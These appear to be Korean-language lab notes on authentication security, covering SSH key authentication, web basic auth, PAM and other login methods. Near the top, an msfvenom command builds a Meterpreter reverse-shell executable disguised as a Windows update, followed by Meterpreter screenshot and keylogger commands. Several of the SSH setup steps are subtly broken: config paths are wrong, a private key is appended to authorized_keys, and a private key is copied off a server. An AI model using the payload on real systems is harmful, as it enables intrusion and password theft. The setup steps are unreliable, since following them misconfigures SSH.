Authentication and Security
MSFVenom and MSFConsole
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe -o /home/kali/windows_update_20250121001.exe msfconsole -r /home/kali/malware.rc
노출된 암호는 안전한가?
스크린샷 및 키로거를 통해 수집된 암호는 안전하지 않습니다.
조치 방법:
- 주기적으로 암호를 변경하십시오.
- 강력한 암호를 설정하십시오(영문 대소문자, 숫자, 특수문자 포함).
- 키 인증 방식을 사용하는 것이 더 안전합니다.
스크린샷 및 키로거 명령:
> 화면 스크린샷: screenshot > 키로거 작동: keyscan_start, keyscan_dump
키 인증 방식 사용
키 인증 방식은 패스워드 인증 방식보다 안전합니다.
# SSH 설정 예시 cat /etc/ssh/sshd.conf PasswordAuthentication no KbdInteractiveAuthentication no
키 인증 방식 설정:
ssh-keygen || ~/.ssh cat ~/.ssh/id_ed >> ~/.ssh/authorized_keys
키 복사:
scp master@192.168.0.201:/home/master/.ssh/id_ed25519 ~/.ssh
SSH 접속:
ssh master@192.168.0.201 Enter passphrase for key '/id_ed25519': 123456
SSH 설정 파일 편집:
nano /etc/ssh/sshd_config/50-cloud-init.conf # yes를 no로 변경 후 재시작 systemctl restart ssh
웹 인증과 기타 인증 방식
웹 기본 인증:
매우 취약하며, 패킷을 잡아 인코딩 내용을 확인할 수 있습니다.
import base64 import json data = {"username": "master", "password": "123456"} json_data = json.dumps(data) encoded_json = base64.b64encode(json_data.encode('utf-8')) print("Encoded JSON:", encoded_json.decode('utf-8'))
PAM 모듈 인증:
인증을 유연하게 관리할 수 있도록 설계된 모듈화된 인증 프레임워크를 적용합니다.
기타 인증 방식:
- 패스워드 인증
- 키 인증
- 웹 기반 인증 (취약함, 옛날 공유기나 카메라에 사용)
- PAM 모듈 인증
- LDAP 인증
- 커버로스 인증 (sshd 설정 변경 가능)